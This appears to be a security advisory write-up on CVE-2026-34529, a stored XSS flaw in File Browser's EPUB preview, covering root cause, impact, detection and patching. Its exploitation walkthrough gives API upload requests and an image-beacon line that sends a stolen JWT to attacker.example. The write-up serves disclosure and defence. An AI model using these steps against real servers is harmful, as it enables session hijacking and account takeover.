CVE-2026-34529: 
NixOS vulnerability analysis and mitigation

CVE-2026-34529 is a Stored Cross-Site Scripting (XSS) vulnerability in the EPUB preview function of File Browser (filebrowser/filebrowser). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file, enabling session hijacking and privilege escalation. All versions through v2.62.1 are affected; the issue was disclosed on March 28, 2026, and patched in v2.62.2. The CVSS v3.1 base score is 7.6 (High) per the GitHub Advisory, though Feedly estimates it at 9.0 (GitHub Advisory, Security Advisory).

The root cause (CWE-79) lies in frontend/src/views/files/Preview.vue, which passes allowScriptedContent: true to the vue-reader (epub.js) component. The epub.js library renders EPUB content inside a sandboxed <iframe> with srcdoc, but the sandbox simultaneously grants both allow-scripts and allow-same-origin permissions — a combination that renders the sandbox ineffective and allows injected scripts to access the parent frame's DOM and localStorage. The epub.js project explicitly warns against enabling scripted content, making this a misconfiguration of a known-dangerous option. An attacker with file upload (Create) permissions can craft a malicious EPUB containing embedded JavaScript and upload it to the server; the payload executes silently when any user (including an administrator) previews the file (GitHub Advisory, Security Advisory).

Successful exploitation enables JWT token theft from localStorage, resulting in full session hijacking and account takeover of any user who previews the malicious file. A low-privileged user with only file upload permissions can silently steal an administrator's JWT token, achieving effective privilege escalation. The embedded script can also make arbitrary outbound network requests, enabling data exfiltration of sensitive information from the application context. Availability is not directly impacted, but confidentiality and integrity are severely compromised (GitHub Advisory, Security Advisory).

A fully functional Python proof-of-concept exploit is publicly available in the GitHub Security Advisory, demonstrating authentication, malicious EPUB construction, file upload, and silent JWT exfiltration. The PoC was confirmed to produce Upload OK (200) and successfully steal JWT tokens in a test environment. The EPSS score is approximately 0.047% (15th percentile), and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time. No specific threat actor attribution has been reported (GitHub Advisory, Security Advisory).

1. Reconnaissance: Identify a File Browser instance running version ≤ 2.62.1. Obtain or create a low-privileged account with file upload (Create) permissions.
2. Authenticate: Use the File Browser API to log in and obtain a JWT token:

   POST /api/login  {"username": "user", "password": "pass"}

3. Craft malicious EPUB: Build a minimal EPUB 3 ZIP archive containing an XHTML chapter file (OEBPS/chapter1.xhtml) with embedded JavaScript that reads window.parent.localStorage.getItem('jwt') and exfiltrates it via an image beacon or fetch() to an attacker-controlled server.
4. Upload the EPUB: POST the crafted EPUB to the File Browser API:

   POST /api/resources/poc_xss_test.epub?override=true
   Headers: X-Auth: <token>, Content-Type: application/epub+zip

5. Deliver the preview URL: Share or otherwise cause a higher-privileged user (e.g., admin) to navigate to the preview URL: {base}/files/poc_xss_test.epub.
6. Payload executes: When the victim opens the EPUB preview, the embedded JavaScript runs in the context of the File Browser application, reads the admin JWT from localStorage, and silently sends it to the attacker's server (e.g., via img.src = 'https://attacker.example/?stolen=' + encodeURIComponent(jwt)).
7. Session hijacking: The attacker uses the stolen JWT to authenticate as the victim, gaining full administrative access (GitHub Advisory, Security Advisory).

• Network: Outbound HTTP requests from the File Browser server or client browsers to external hosts with query parameters containing encoded JWT tokens (e.g., ?stolen=eyJ...); unexpected requests to ifconfig.me or similar IP-lookup services originating from user browsers during EPUB preview sessions.
• File System: Presence of unexpected .epub files in the File Browser root or shared directories (e.g., poc_xss_test.epub); EPUB files with XHTML chapters containing <script> tags referencing window.parent.localStorage.
• Logs: File Browser access logs showing POST /api/resources/*.epub uploads by low-privileged accounts followed shortly by GET /files/*.epub requests from administrator accounts; API login events (POST /api/login) from unfamiliar IP addresses using administrator credentials after an EPUB upload event.
• Application Behavior: JWT tokens appearing invalidated or sessions unexpectedly active from new IP addresses or user agents after an EPUB file was previewed (GitHub Advisory).

Upgrade File Browser to version 2.62.2 or later, which disables scripted content in the EPUB preview by setting allowScriptedContent: false (commit 126227b: fix: disable scripted content in epub) (v2.62.2 Release). As an interim measure, restrict file upload permissions to trusted users only and monitor for suspicious EPUB uploads. If EPUB preview functionality is not essential, consider disabling it at the application or network level until patching is complete (GitHub Advisory).

The vulnerability was reported by researcher tomasvanagas and published by File Browser maintainer hacdias on March 28, 2026. Social media coverage appeared on Mastodon (via @thehackerwire) and Bluesky shortly after disclosure. Security blogs including infinitsec.net and alp1n3.dev published technical reviews of the vulnerability. Community reaction noted the similarity to CVE-2024-35236, which exploited the same allowScriptedContent: true pattern in the audiobookshelf project, highlighting a recurring misconfiguration pattern in epub.js integrations (GitHub Advisory).